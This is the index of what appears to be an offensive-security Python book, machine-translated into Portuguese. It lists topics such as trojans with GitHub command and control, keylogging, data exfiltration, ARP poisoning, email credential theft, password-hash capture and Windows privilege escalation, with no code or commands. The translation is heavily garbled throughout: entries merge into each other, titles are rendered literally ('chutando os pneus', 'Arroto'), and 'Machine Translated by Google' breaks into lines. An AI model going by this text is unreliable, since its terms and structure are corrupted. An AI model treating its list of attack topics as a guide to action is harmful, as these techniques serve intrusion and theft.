função hex dumping, Construindo um plug-in hivelist TCP

Proxy, Capturando Hashes de Senha

Classe HookManager, Keylogging para diversão e teclas digitadas

Autenticação de formulário HTML, força bruta, força bruta Autenticação de formulário HTML, força bruta
Autenticação de HTMLForm, autenticação de HTMLForm de força bruta, autenticação de HTMLForm de força bruta
Autenticação, HTMLForm de força bruta Autenticação, HTMLForm de força bruta
Autenticação, autenticação de HTMLForm de força bruta, chutando os pneus
Machine Translated by Google
formulário de login do administrador, Autenticação Brute-Forcing HTMLForm

configurações gerais, Brute-Forcing HTMLForm Authentication

Classe de análise HTML, autenticação Brute-Forcing HTMLForm colando na lista de

palavras, autenticação Brute-Forcing HTMLForm

classe primária de força bruta, autenticação de HTMLForm de força bruta

fluxo de solicitação, teste de autenticação HTMLForm de força bruta ,

chutando os pneus

Classe HTMLParser, Autenticação Brute-Forcing HTMLForm, Brute-Forcing HTMLForm


Autenticação, transformando o conteúdo do site em senha de ouro

Aba do histórico HTTP, Burp, Kicking the Tires, Kicking the Tires

EU

Classe IBurpExtender, Burp Fuzzing, Bing para Burp

Rotina de decodificação de mensagens ICMP, chutando os pneus, chutando os pneus, chutando os pneus, decodificando
ICMP, Decodificando ICMP, Decodificando ICMP, Decodificando ICMP

Mensagem de destino inacessível, chutando os pneus, decodificando ICMP

cálculo de comprimento, Decodificação ICMP

elementos de mensagem, Kicking the Tires

enviando datagramas UDP e interpretando resultados, Decodificando testes de ICMP,

Decodificando ICMP

Classe IContextMenuFactory, Bing para Burp

Classe IContextMenuInvocation, processo Bing for Burp

Iexplore.exe, criação do parâmetro Server iface, propriedade

da rede com Scapy

Classe IIntruderPayloadGenerator, Burp Fuzzing

Classe IIntruderPayloadGeneratorFactory, script de escultura de imagem

Burp Fuzzing , Kicking the Tires, PCAP Processing, PCAP Processing, PCAP Processing,
Processamento PCAP

adicionando código de detecção facial, processamento PCAP

adicionando funções de suporte, processamento PCAP

script de processamento de codificação, teste de

processamento PCAP, processamento PCAP


Machine Translated by Google
plug-in imageinfo, automação forense ofensiva

Credenciais IMAP, roubo, propriedade da rede com Scapy, roubo de credenciais de e-mail

Depurador de imunidade, injeção direta de código , módulo imp de injeção

direta de código, funcionalidade de importação do Hacking Python

método __init__, decodificando a camada IP

função inject_code, tags de entrada de

injeção de código , controle de entrada/saída de autenticação

HTMLForm de força bruta (IOCTL), detecção de pacotes no Windows e Linux, detecção de pacotes no Windows e Linux

Automação COM do Internet Explorer, Diversão com o Internet Explorer, Man-in-the-Browser (tipo de), Man-in-the-Browser
(tipo de), Man-in-the-browser (tipo de), Man-in-the -Browser (tipo de), Man-in-the-Browser (tipo de), Man-in-the-Browser
(tipo de), Criando o servidor, Criando o servidor, IE
COM Automação para Exfiltração, IE COM Automação para Exfiltração, IE COM Automação para
Exfiltração, IE COM Automação para Exfiltração, IE COM Automação para Exfiltração, IE COM
Automação para Exfiltração

exfiltration, Criando o Servidor, IE COM Automation for Exfiltration, IE COM Automation for
Exfiltração, IE COM Automação para Exfiltração, IE COM Automação para Exfiltração, IE COM
Automação para Exfiltração, IE COM Automação para Exfiltração

rotinas de criptografia, IE COM Automation for Exfiltration

script de geração de chave, IE COM Automation para Exfiltration

funcionalidade de login, IE COM Automation para Exfiltration

funcionalidade de postagem, IE COM Automation para Exfiltration

funções de suporte, IE COM Automation for Exfiltration

testes, IE COM Automation for Exfiltration ataques

man-in-the-browser, Man-in-the-Browser (mais ou menos), Man-in-the-browser (mais ou menos), Man-in-the-browser


(mais ou menos) , Man-in-the-Browser (mais ou menos), Man-in-the-Browser (mais ou menos), Man-in-the-Browser
(mais ou menos), criando o servidor

criando servidor HTTP, Man-in-the-Browser (Kind Of) definido,

Man-in-the-Browser (Kind Of)

loop principal, Man-in-the-Browser (mais ou menos)

estrutura de suporte para teste Man-in-the-Browser (tipo de) ,

Criação do servidor aguardando a funcionalidade do navegador,

teste Man-in-the-browser (tipo de)

Aba Intruso, Arroto, Chutando os Pneus, Chutando os Pneus


Machine Translated
Ferramenta byBurp,
de intrusão, Google
Burp Fuzzing

IOCTL (controle de entrada/saída), Packet Sniffing no Windows e Linux, Packet Sniffing no Windows e Linux

Rotina de decodificação do cabeçalho IP, Packet Sniffing no Windows e Linux, Decodificação da camada IP, Decodificação da
camada IP, Decodificação da camada IP, Decodificação da camada IP

evitando a manipulação de bits, decodificando a camada IP

protocolo legível por humanos, decodificando a camada IP

teste, Decodificação da estrutura típica

do cabeçalho IPv4 da camada IP, Decodificação da camada IP

J
Janzen, Cliff, Escalação de Privilégios do Windows

Formato JSON, Configuração de Trojan

Arquivo JAR autônomo Jython, Extending Burp Proxy, Burp Fuzzing

k
Kali Linux, Instalando Kali Linux, Instalando Kali Linux, Instalando Kali Linux, Instalando Kali Linux,
Instalando o Kali Linux, Instalando o Kali Linux

nome de usuário e senha padrão, Instalando o ambiente de desktop

Kali Linux, Instalando o Kali Linux determinando a versão, Instalando

o Kali Linux

baixando a imagem, Instalando o Kali Linux

discussão geral, Instalando pacotes de instalação do

Kali Linux, Instalando o Kali Linux

Evento KeyDown, Keylogging for Fun e Keystrokes

keylogging, Keylogging for Fun e Keystrokes

Função KeyStroke, Keylogging for Fun e Keystrokes

Khrais, Hussam, SSH com Paramiko

Kuczmarski, Karol, Hackeando a funcionalidade de importação do Python

eu

Estrutura LASTINPUTINFO, Detecção Sandbox

função load_module, funcionalidade de importação do Hacking Python função

login_form_index, Man-in-the-Browser (mais ou menos)


Machine Translated by Google
função login_to_tumblr, IE COM Automation for Exfiltration

função logout_form, Man-in-the-Browser (mais ou menos) função

logout_url, Man-in-the-browser (mais ou menos )

M
ataques man-in-the-browser (MitB), Man-in-the-Browser (Kind Of), Man-in-the-Browser (Kind Of),
Man-in-the-Browser (mais ou menos), Man-in-the-Browser (mais ou menos), Man-in-the-Browser (mais ou menos),
Man-in-the-Browser (mais ou menos), criando o servidor

criando servidor HTTP, Man-in-the-Browser (mais ou menos)

definido, loop principal Man -in-the-Browser (Kind

Of) , estrutura de suporte Man-in-the-Browser (Kind

Of), Man-in-the-Browser (Kind Of)

testando, Criando o Servidor

aguardando a funcionalidade do navegador, Man-in-the-Browser (mais ou menos)

ataques man-in-the-middle (MITM), ARP Cache Poisoning com Scapy, ARP Cache Poisoning com
Scapy, Envenenamento de Cache ARP com Scapy, Envenenamento de Cache ARP com Scapy, Envenenamento de Cache
ARP com Scapy

adicionando funções de suporte, ARP Cache Poisoning com script de

envenenamento de codificação Scapy, ARP Cache Poisoning com Scapy

inspecionando cache, ARP Cache Poisoning com Scapy

testando, ARP Cache Poisoning com Scapy

função mangle, transformando o conteúdo do site em senha de ouro

Metasploit, Execução Pythonic Shellcode

Microsoft, Kicking the Tires (consulte o mecanismo de pesquisa Bing; Internet Explorer COM automação)

Ataques MitB, Man-in-the-Browser (Kind Of) (veja ataques man-in-the-browser)

Ataques MITM, ARP Cache Poisoning com Scapy (consulte ataques man-in-the-middle) diretório de

módulos, Github Command and Control

Função module_runner, Funcionalidade de importação do Hacking Python

função mutate_payload, Burp Fuzzing

N
Nathoo, Karim, Man-in-the-Browser (mais ou menos)

módulo netaddr, Decodificação de ICMP, Kicking the Tires


Machine Translated by Google
funcionalidade do tipo netcat, Servidor TCP, Servidor TCP, Servidor TCP, Substituindo o Netcat, Substituindo o Netcat,
Substituindo o Netcat, Substituindo o Netcat, Substituindo o Netcat, Substituindo o Netcat, Substituindo o Netcat,
Substituindo o Netcat, Substituindo o Netcat

adicionando código de cliente, substituindo Netcat

chamando funções, Substituindo a funcionalidade

de execução do comando Netcat, Substituindo o shell de comando

Netcat, Substituindo o Netcat

criando a função principal, substituindo o Netcat

criando loop de servidor primário, substituindo Netcat criando

função stub, substituindo funcionalidade de upload de arquivo

Netcat, substituindo Netcat

importar bibliotecas, servidor TCP

definindo variáveis globais, testando TCP Server ,

substituindo Netcat

Noções básicas de rede, A rede: Noções básicas, A rede: Noções básicas, Cliente TCP, Servidor TCP, Servidor TCP,
Chutando os pneus, chutando os pneus, Construindo um Proxy TCP, Construindo um Proxy TCP, Construindo um TCP
Proxy, SSH com Paramiko, SSH com Paramiko, SSH com Paramiko, SSH com Paramiko, SSH com
Paramiko, SSH com Paramiko, Chutando os Pneus, Chutando os Pneus, Chutando os Pneus, Chutando os
Pneus, túnel SSH, túnel SSH, túnel SSH
Machine Translated by Google
criando clientes TCP, The Network: Basics

criando proxies TCP, chutando os pneus, chutando os pneus, construindo um proxy TCP, construindo um TCP
Proxy, Construindo um Proxy TCP

função de despejo hexadecimal, Construindo uma função

proxy TCP Proxy proxy_handler, Construindo um Proxy TCP

razões para, Kicking the Tires

testando, Construindo um Proxy TCP

criando servidores TCP, Servidor TCP

criando clientes UDP, Cliente TCP

funcionalidade do tipo netcat, servidor TCP (consulte funcionalidade do tipo netcat)

Túneis SSH, Chutando os Pneus, Chutando os Pneus, Chutando os Pneus, Chutando os Pneus, SSH
Túnel, Túnel SSH, Túnel SSH

para a frente, chutando os pneus, chutando os pneus

para trás, chutando os pneus, túnel SSH, túnel SSH

teste, túnel SSH

SSH com Paramiko, SSH com Paramiko, SSH com Paramiko, SSH com Paramiko, SSH com
Paramiko, SSH com Paramiko, SSH com Paramiko

criando servidor SSH, SSH com Paramiko

instalando Paramiko, SSH com Paramiko

autenticação de chave, SSH com Paramiko

executando comandos no cliente Windows por SSH, SSH com teste Paramiko, SSH

com Paramiko

sniffers de rede, A Rede: Raw Sockets e Sniffing, A Rede: Raw Sockets e Sniffing,
A Rede: Raw Sockets e Sniffing, Packet Sniffing no Windows e Linux, Packet Sniffing em
Windows e Linux, detecção de pacotes no Windows e Linux, decodificação da camada IP, decodificação do IP
Camada, Decodificando a Camada IP, Decodificando a Camada IP, Chutando os Pneus, Chutando os Pneus, Chutando os Pneus,
Chutando os Pneus, Decodificando ICMP, Decodificando ICMP, Decodificando ICMP, Decodificando ICMP
Machine Translated by Google
descobrindo hosts ativos em segmentos de rede, The Network: Raw Sockets and Sniffing

Rotina de decodificação de mensagens ICMP, chutando os pneus, chutando os pneus, chutando os pneus, decodificando
ICMP, Decodificando ICMP, Decodificando ICMP, Decodificando ICMP

Mensagem de destino inacessível, chutando os pneus, decodificando o cálculo do

comprimento do ICMP, decodificando o ICMP

elementos de mensagem, chutando os pneus

envio de datagramas UDP e interpretação de resultados, Decodificação de testes

ICMP, Decodificação de ICMP

Rotina de decodificação do cabeçalho IP, Packet Sniffing no Windows e Linux, Decodificação da Camada IP,
Decodificando a camada IP, decodificando a camada IP, decodificando a camada IP

evitando a manipulação de bits, decodificando a camada IP

protocolo legível por humanos, Decodificando o teste da

camada IP, Decodificando a estrutura típica do cabeçalho

IPv4 da camada IP, Decodificando a camada IP

modo promíscuo, Packet Sniffing no Windows e Linux

configurando o raw socket sniffer, Packet Sniffing no Windows e Linux

Windows versus Linux, A Rede: Raw Sockets e Sniffing

método __new__, decodificando a camada IP

automação forense ofensiva, automação forense ofensiva, automação forense ofensiva,


Automatização de análises forenses ofensivas, captura de hashes de senha, injeção direta de código

injeção direta de código, injeção direta de código

instalando volatilidade, automação forense ofensiva

perfis, automatizando análise forense ofensiva

recuperando hashes de senha, pegando hashes de senha

recursos online, Configurando seu ambiente Python, Instalando Kali Linux, WingIDE, The Network:
Básico, SSH com Paramiko, SSH com Paramiko, A Rede: Raw Sockets e Sniffing, Pacote
Cheirando no Windows e Linux, chutando os pneus, possuindo a rede com Scapy, possuindo o
Rede com Scapy, PCAP Processing, PCAP Processing, Kicking the Tires, Kicking the Tires,
Autenticação Brute-Forcing HTMLForm, Kicking the Tires, Estendendo Burp Proxy, Estendendo Burp
Proxy, Extending Burp Proxy, Bing for Burp, Github Command and Control, Github Command and
Controle, Construindo um Trojan Github-Aware , Hackeando a Funcionalidade de Importação do Python, Keylogging para
Diversão e Teclas, Tirando Capturas de Tela, Execução Pythonic Shellcode, Criando o Servidor, Windows
Escalação de Privilégios, Escalação de Privilégios do Windows, Criação de um Monitor de Processo, Criação de um Processo
Machine
Monitor, Translated bydeGoogle
Monitoramento Processos com WMI, Kicking the Tires, Automating Ofensive Forense, Direct
Injeção de código, injeção direta de código

Chaves de API do Bing, Bing para Burp

Arroto, Estendendo Proxy de Arroto

Caim e Abel, Chutando os Pneus

Carlos Perez, Kicking the Tires criando

estrutura básica para repo, Github Command and Control

Projeto DirBuster, chutando os pneus

Projeto El Jefe, Criando um código de detecção facial do

Process Monitor, Processamento PCAP gerando cargas

Metasploit, Pythonic Shellcode Execution

hackear a funcionalidade de importação do Python, Hackear a funcionalidade de importação do Python

Hussam Khrais, SSH com Paramiko

Depurador de imunidade, controle de entrada/saída de

injeção direta de código (IOCTL), detecção de pacotes no Windows e Linux

Formulário de login do administrador do Joomla, Autenticação Brute-Forcing HTMLForm

Jython, Estendendo Proxy Burp

Kali Linux, Instalando o Kali Linux

Shellcode MessageBox, injeção direta de código

módulo netaddr, chutando os pneus

OpenCV, Processamento PCAP

Paramiko, SSH com Paramiko

PortSwigger Web Security, Estendendo Burp Proxy

serviço de exemplo de escalonamento de privilégios, Escalonamento de Privilégios do Windows

py2exe, Construindo um Trojan Github-Aware

Pacote PyCrypto, Criando o servidor

Biblioteca PyHook, Keylogging para diversão e teclas digitadas

Biblioteca Python GitHub API, Github Command and Control

Página WMI do Python, criando um monitor de processo

Instalador PyWin32, Windows Privilege Escalation

Scapy, possuir a rede com Scapy, possuir a rede com Scapy

módulo de soquete, A rede: Noções básicas


Machine Translated by Google
SVNDigger, chutando os pneus

VMWare Player, Configurando seu ambiente Python

Estrutura de volatilidade, automação forense ofensiva

Documentação da classe Win32_Process, monitoramento de processos com WMI

Windows GDI, fazendo capturas de tela

WingIDE, WingIDE

Wireshark, A Rede: Raw Sockets e Sniffing

OpenCV, Processamento PCAP, Processamento PCAP

função os.walk, sinalizador de propriedade de instalações de aplicativo da Web

de código aberto , Man-in-the-Browser (mais ou menos)

P
processamento de arquivo de captura de pacotes, Kicking the Tires (consulte processamento PCAP)

Função packet.show(), roubo de credenciais de e-mail

Paramiko, SSH com Paramiko, SSH com Paramiko, SSH com Paramiko, SSH com Paramiko, SSH com Paramiko, SSH com
Paramiko

criando servidor SSH, SSH com Paramiko

instalando, SSH com Paramiko

executando comandos no cliente Windows por SSH, SSH com Paramiko

Autenticação de chave SSH, SSH com teste Paramiko,

SSH com Paramiko

lista de palavras para adivinhar senhas, Transformar o conteúdo do site em senha de ouro, Transformar o conteúdo do site em
senha de ouro, Transformar o conteúdo do site em senha de ouro, Transformar o conteúdo do site em
Password Gold, transformando o conteúdo do site em Password Gold

convertendo o tráfego HTTP selecionado em lista de palavras, transformando o conteúdo do site em senha de ouro

funcionalidade para exibir lista de palavras, Transformando o conteúdo do site em teste de senha

Gold, Transformando o conteúdo do site em Password Gold, Transformando o conteúdo do site em Password Gold

Aba Payloads, Burp, Kicking the Tires, Kicking the Tires

Processamento de PCAP (arquivo de captura de pacote), ARP Cache Poisoning com Scapy, Kicking the Tires, Kicking the Tires,
Processamento PCAP, Processamento PCAP, Processamento PCAP, Processamento PCAP
Machine Translated by Google
adicionando código de detecção facial, processamento PCAP

adicionando funções de suporte, processamento PCAP

Resultados de envenenamento de cache ARP, envenenamento de cache ARP com script

de processamento de codificação Scapy, processamento PCAP

script de escultura de imagem, Kicking the Tires

testes, Processamento PCAP

Perez, Carlos, Kicking the Tires pip

gerenciador de pacotes, Instalando o Kali Linux

Credenciais POP3, roubo, propriedade da rede com Scapy, roubo de credenciais de e-mail

função populate_offsets, pegando hashes de senha

Erro de porta inacessível, chutando os pneus

PortSwigger Web Security, Estendendo Burp Proxy

Aba Posições, Arroto, Chutando os Pneus, Chutando os Pneus

função post_to_tumblr, automação IE COM para escalonamento de privilégios

Exfiltration, escalonamento de privilégios do Windows, escalonamento de privilégios do Windows, Windows


Escalação de Privilégios, Criando um Monitor de Processos, Criando um Monitor de Processos, Monitoramento de Processos
com WMI, Monitoramento de Processos com WMI, Privilégios de Token do Windows, Privilégios de Token do Windows,
Vencer a corrida, vencer a corrida, vencer a corrida, chutar os pneus

injeção de código, Kicking the Tires

instalando serviço de exemplo, Windows Privilege Escalation instalando

bibliotecas, Windows Privilege Escalation

monitoramento de processo, Criando um monitor de processo, Criando um monitor de processo, Monitoramento de processo
com WMI

testando, Monitoramento de processo com WMI

com WMI, Criando um monitor de processo

privilégios de token, monitoramento de processo com WMI, privilégios de token do Windows, token do Windows
Privilégios

recuperando automaticamente privilégios ativados, Windows Token Privileges

saída e registro, privilégios de token do Windows

corrida vencedora contra a execução de código, Vencendo a corrida, Vencendo a corrida, Vencendo a corrida

criando monitor de arquivo, Ganhando a Corrida

testando, vencendo a corrida


Machine Translated by Google
parâmetro prn, possuindo a rede com Scapy

monitoramento de processo, Criando um monitor de processo, Criando um monitor de processo, Monitoramento de processo com
WMI

corrida vencedora contra a execução de código, Criando um Monitor de Processo, Monitoramento de Processo com WMI

testes, monitoramento de processos com WMI

com WMI, criando um monitor de processo

função process_watcher, monitoramento de processo com WMI --profile

sinalizador, automatização de análises forenses ofensivas

Aba Proxy, Burp, Chutando os Pneus, Chutando os Pneus

função proxy_handler, construindo um proxy TCP

Classe PSList, Injeção Direta de Código

py2exe, Construindo um Trojan Github-Aware

Pacote PyCrypto, Criando o Servidor, IE COM Automation for Exfiltration

Biblioteca PyHook, Keylogging para diversão e pressionamentos de tecla, Detecção de sandbox

Biblioteca Python GitHub API, Github Command and Control

Instalador PyWin32, Windows Privilege Escalation

Q
Objetos de fila, mapeamento de instalações de aplicativos Web de código aberto, diretórios e arquivos de força bruta
Localizações

R
função random_sleep, IE COM Automation for Exfiltration

Função ReadDirectoryChangesW, vencendo a corrida

função receive_from, Construindo um Proxy TCP

função recvfrom(), função

registerIntruderPayloadGeneratorFactory do cliente TCP , função Burp Fuzzing

classe RegistryApi, pegando hashes de senha

Ferramenta repetidora, Burp, Burp Fuzzing

Classe de solicitação, a biblioteca de soquetes da Web: urllib2 função

request_handler, construção de uma função TCP Proxy

request_port_forward, túnel SSH

função de reset, Burp Fuzzing


Machine
função Translated by Google
response_handler, Construindo uma função restore_target

do Proxy TCP, ARP Cache Poisoning com Scapy reverse SSH tunneling,

Kicking the Tires, SSH Tunneling, SSH Tunneling

função reverse_forward_tunnel, túnel SSH

função run, Criando Módulos

detecção de caixa de areia, chutando os pneus

Biblioteca Scapy, Possuir a rede com Scapy, Possuir a rede com Scapy, Possuir a
Rede com Scapy, propriedade da rede com Scapy, roubo de credenciais de e-mail, roubo de e-mail
Credenciais, ARP Cache Poisoning com Scapy, ARP Cache Poisoning com Scapy, ARP Cache
Envenenamento com Scapy, ARP Cache Envenenamento com Scapy, ARP Cache Envenenamento com Scapy, ARP
Cache Poisoning com Scapy, Kicking the Tires, PCAP Processing, PCAP Processing, PCAP
Processamento, Processamento PCAP

Envenenamento de cache ARP , Envenenamento de cache ARP com Scapy, Envenenamento de cache ARP com Scapy, ARP
Envenenamento de Cache com Scapy, Envenenamento de Cache ARP com Scapy, Envenenamento de Cache ARP com Scapy

adicionando funções de suporte, ARP Cache Poisoning com script de

envenenamento de codificação Scapy, ARP Cache Poisoning com Scapy

inspecionando cache, ARP Cache Poisoning com Scapy

testando, ARP Cache Poisoning com Scapy

instalando, possuindo a rede com Scapy

Processamento PCAP, Envenenamento de Cache ARP com Scapy, Kicking the Tires, Processamento PCAP, PCAP
Processamento, Processamento PCAP, Processamento PCAP

adicionando código de detecção facial, processamento PCAP

adicionando funções de suporte, processamento PCAP

Resultados de envenenamento de cache ARP, envenenamento de cache ARP com script

de processamento de codificação Scapy, processamento PCAP

script de escultura de imagem, Kicking the Tires

testes, Processamento PCAP

roubo de credenciais de e-mail, propriedade da rede com Scapy, propriedade da rede com Scapy,
Roubar credenciais de e-mail, roubar credenciais de e-mail

aplicação de filtro para portas de e-mail comuns, roubo de credenciais de e -mail

criando sniffer simples, possuindo a rede com Scapy

teste, roubo de credenciais de e-mail


Machine
Guia Translated
Scope, by Google
Burp, Kicking the Tires, Transforming Website Content into Password Gold screenshots,

Kicking the Tires

Privilégio SeBackupPrivilege, privilégios de token do Windows

Secure Shell, SSH com Paramiko (consulte SSH)

Privilégio SeDebugPrivilege, privilégios de token do Windows

Função SelectObject, captura de tela

Privilégio SeLoadDriver, Privilégios de Token do Windows, Privilégios de Token do Windows

função sendto(), função server_loop

do cliente TCP , substituindo o Netcat

Função SetWindowsHookEx, Keylogging para diversão e teclas digitadas

execução de shellcode, captura de tela

Módulo SimpleHTTPServer, execução Pythonic Shellcode

Guia do mapa do site, arroto, transformando o conteúdo do site em senha de ouro, chutando os pneus

Credenciais SMTP, roubo, propriedade da rede com Scapy, roubo de credenciais de e-mail

função sniff, possuindo a rede com Scapy

módulo de soquete, A Rede: Noções básicas, A Rede: Noções básicas, Cliente TCP, Servidor TCP, Servidor TCP,
Chutando os pneus

construindo proxies TCP, Kicking the Tires

criando clientes TCP, The Network: Basics

criando servidores TCP, Servidor TCP

criação de clientes UDP, funcionalidade

do tipo netcat do cliente TCP, servidor TCP

Parâmetro SOCK_DGRAM, Cliente TCP

Parâmetro SOCK_STREAM, The Network: Basics

SSH (Secure Shell), SSH com Paramiko, SSH com Paramiko, SSH com Paramiko, SSH com
Paramiko, SSH com Paramiko, SSH com Paramiko, Chutando os Pneus, Chutando os Pneus, Chutando os
Pneus, Chutando os Pneus, Túnel SSH, Túnel SSH, Túnel SSH
Machine Translated by Google
escavação de túneis, Chutando os Pneus, Chutando os Pneus, Chutando os Pneus, Chutando os Pneus, SSH
Túnel, Túnel SSH, Túnel SSH

para frente, chutando os pneus, chutando os pneus

para trás, chutando os pneus, túnel SSH , teste de túnel SSH, túnel SSH

com Paramiko, SSH com Paramiko, SSH com Paramiko, SSH com Paramiko, SSH com
Paramiko, SSH com Paramiko, SSH com Paramiko

criando servidor SSH, SSH com Paramiko

instalando Paramiko, SSH com autenticação de

chave Paramiko, SSH com Paramiko

executando comandos no cliente Windows por SSH, SSH com Paramiko

teste, SSH com função Paramiko

ssh_command, SSH com Paramiko

Guia Stack Data, WingIDE, WingIDE

função start_monitor, vencendo a corrida

parâmetro store, roubo de credenciais de e-mail

função store_module_result, criação de uma função de faixa de Tróia Github-

Aware , transformação do conteúdo do site em senha de ouro

biblioteca de subprocessos, substituindo o Netcat

SVNDigger, chutando os pneus

T
Classe TagStripper, transformando o conteúdo do site em senha de ouro

dicionário tag_results, autenticação de HTMLForm de força bruta

Guia Target, Burp, Kicking the Tires, Transformando o conteúdo do site em senha de ouro, Transformando o site
Conteúdo em Password Gold

Clientes TCP, criando, The Network: Basics

Proxies TCP, Chutando os Pneus, Chutando os Pneus, Construindo um Proxy TCP, Construindo um Proxy TCP,
Construindo um Proxy TCP
Machine Translated by Google
criando, chutando os pneus

função hex dumping, Construindo uma função proxy_handler

de Proxy TCP , Construindo um Proxy TCP razões para

construir, Chutando os Pneus

testando, Construindo um Proxy TCP

Servidores TCP, criando, Servidor TCP

Classe TCPServer, função test_remote Man-in-the-Browser (tipo

de) , mapeamento de instalações de aplicativos Web de código aberto

privilégios de token, monitoramento de processo com WMI, privilégios de token do Windows, token do Windows
Privilégios

recuperação automática de privilégios ativados, saída e registro de privilégios de token do

Windows , privilégios de token do Windows

método de transporte, túnel SSH

cavalos de Troia, comando e controle do Github, comando e controle do Github, criação de módulos, cavalo de Troia
Configuração, Construindo um Trojan Github-Aware, Hackeando a funcionalidade de importação do Python, Hacking
Funcionalidade de importação do Python, Kicking the Tires, Tarefas comuns de trojan no Windows, Keylogging para diversão e
pressionamentos de teclas, Kicking the Tires, Capturas de tela, Kicking the Tires

GitHub-aware, comando e controle do Github, comando e controle do Github, criação de módulos,


Configuração de Trojan, Construindo um Trojan Github-Aware, Hackeando a funcionalidade de importação do Python,
Hackeando a funcionalidade de importação do Python, chutando os pneus

configuração de conta, Github Command and Control

construindo, Construindo um Trojan Github-Aware

configuração, configuração de Trojan , criação

de módulos, criação de módulos , hacking da

funcionalidade de importação, hacking da funcionalidade de importação do Python

melhorias e aprimoramentos para Kicking the Tires

testando, Hackeando a funcionalidade de importação do Python

Tarefas do Windows , Tarefas comuns de trojan no Windows, Keylogging para diversão e pressionamentos de tecla,
Chutando os pneus, tirando screenshots, chutando os pneus

keylogging, Keylogging for Fun e Keystrokes

detecção de caixa de areia, chutando os pneus

capturas de tela, execução do shellcode

Kicking the Tires , captura de tela


Machine Translated by Google
Tumblr, criando o servidor

NO

Clientes UDP, criação, função TCP

Client udp_sender, decodificação da

biblioteca ICMP urllib2, a biblioteca de soquetes da Web: urllib2, captura de tela

função urlopen, a biblioteca de soquetes da Web: urllib2

NO

VMWare Player, Configurando seu ambiente Python

Estrutura de volatilidade, automação forense ofensiva, automação forense ofensiva, automação


Análise Forense Ofensiva, Pegando Hashes de Senha, Injeção Direta de Código

injeção direta de código, injeção direta de código

instalação, automatização de perfis forenses

ofensivos, automação forense ofensiva ,

recuperação de hashes de senha, obtenção de hashes de senha

No

função wait_for_browser, Man-in-the-Browser (Kind Of) sinalizador

wb, Substituindo ataques de aplicativos da web Netcat, Web

Hackery, A Biblioteca de Soquetes da Web: urllib2, A Biblioteca de Soquetes da Web: urllib2, A Biblioteca de
Soquetes da Web : urllib2, Mapeamento de aplicativo da Web de código aberto
Instalações, Kicking the Tires, Brute-Forcing Diretórios e localizações de arquivos, Brute-Forcing
Diretórios e locais de arquivos, força bruta Diretórios e locais de arquivos, força bruta
Diretórios e locais de arquivos, diretórios de força bruta e locais de arquivos, HTML de força bruta
Autenticação de formulário, HTMLForm de força bruta Autenticação, HTMLForm de força bruta
Autenticação, HTMLForm de força bruta Autenticação, HTMLForm de força bruta
Autenticação, HTMLForm de força bruta Autenticação, HTMLForm de força bruta
Autenticação, chutando os pneus, arroto fuzzing, arroto fuzzing, arroto fuzzing, arroto fuzzing, arroto
Fuzzing, Burp Fuzzing, Chutando os Pneus, Chutando os Pneus, Chutando os Pneus, Chutando os Pneus
Machine Translated by Google
diretórios de força bruta e localizações de arquivos, Kicking the Tires, Brute-Forcing Directories and File
Locais, diretórios de força bruta e locais de arquivos, diretórios de força bruta e arquivos
Locais, diretórios de força bruta e locais de arquivos, diretórios de força bruta e arquivos
Localizações

aplicando lista de extensões para testar, diretórios de força bruta e locais de arquivos

criando lista de extensões, diretórios de força bruta e locais de arquivos

criação de objetos Fila a partir de arquivos de lista de palavras, diretórios de força bruta e locais de arquivos

configuração de lista de palavras, diretórios de força bruta e testes de locais de arquivos, diretórios de força bruta

e locais de arquivos

autenticação de formulário HTML de força bruta, autenticação de formulário HTML de força bruta, força bruta
Autenticação de formulário HTML, HTML de força bruta Autenticação de formulário, HTML de força bruta
Autenticação de formulário, HTMLForm de força bruta Autenticação, HTMLForm de força bruta
Autenticação, autenticação de HTMLForm de força bruta, chutando os pneus

formulário de login do administrador, Autenticação Brute-Forcing HTMLForm

configurações gerais, Brute-Forcing HTMLForm Authentication

Classe de análise HTML, autenticação Brute-Forcing HTMLForm colando na lista

de palavras, autenticação Brute-Forcing HTMLForm classe primária de força

bruta, autenticação Brute-Forcing HTMLForm

fluxo de solicitação, autenticação de HTMLForm de força bruta

testando, chutando os pneus

Solicitações GET, a biblioteca de soquetes da Web: urllib2, a biblioteca de soquetes da Web: urllib2, a
Biblioteca de soquetes da Web: urllib2, mapeando instalações de aplicativos da Web de código aberto

mapeando instalações de aplicativos da Web de código aberto, Mapeando instalações de aplicativos da Web de código aberto

simples, a biblioteca de soquetes da Web: urllib2

biblioteca de soquetes, a biblioteca de soquetes da Web: urllib2

usando a classe Request, a biblioteca de soquetes da Web: urllib2

fuzzers de aplicativos da web, Burp Fuzzing, Burp Fuzzing, Burp Fuzzing, Burp Fuzzing, Burp Fuzzing,
Burp Fuzzing, Chutando os Pneus, Chutando os Pneus, Chutando os Pneus, Chutando os Pneus

acessando a documentação do Burp, Burp Fuzzing

implementação de código para atender aos requisitos, extensão de

carregamento Burp Fuzzing , Burp Fuzzing, Burp Fuzzing, fuzzer simples Kicking

the Tires , Burp Fuzzing

usando extensão em ataques, Chutando os Pneus, Chutando os Pneus, Chutando os Pneus


Machine Translated by Google
módulo win32security, privilégios de token do Windows

Classe Win32_Process, Monitoramento de processos com WMI, Monitoramento de processos com WMI

Interface de dispositivo gráfico do Windows (GDI), chutando os pneus

Escalação de privilégios do Windows, Escalação de privilégios do Windows, Escalação de privilégios do Windows,


Escalação de Privilégios do Windows, Criando um Monitor de Processo, Criando um Monitor de Processo, Processo
Monitoramento com WMI, Monitoramento de Processos com WMI, Privilégios de Token do Windows, Token do Windows
Privilégios, Ganhando a Corrida, Ganhando a Corrida, Ganhando a Corrida, Chutando os Pneus

injeção de código, Kicking the Tires

instalando serviço de exemplo, Windows Privilege Escalation

instalação de bibliotecas, Windows Privilege Escalation

monitoramento de processo, Criando um monitor de processo, Criando um monitor de processo, Monitoramento de processo
com WMI

testando, Monitoramento de processo com WMI

com WMI, Criando um monitor de processo

privilégios de token, monitoramento de processo com WMI, privilégios de token do Windows, token do Windows
Privilégios

recuperação automática de privilégios ativados, saída e registro de privilégios de token do

Windows , privilégios de token do Windows

corrida vencedora contra a execução de código, Vencendo a corrida, Vencendo a corrida, Vencendo a corrida

criando monitor de arquivo, Vencendo a corrida

testando, Vencendo a corrida

Tarefas de trojan do Windows, Tarefas de trojan comuns no Windows, Keylogging para diversão e pressionamentos de tecla,
Chutando os pneus, tirando screenshots, chutando os pneus

keylogging, Keylogging for Fun e Keystrokes

detecção de sandbox, capturas de tela de

Kicking the Tires , execução de shellcode de

Kicking the Tires, obtenção de capturas de tela

WingIDE, Instalando Kali Linux, WingIDE, WingIDE, WingIDE, WingIDE, WingIDE, WingIDE,
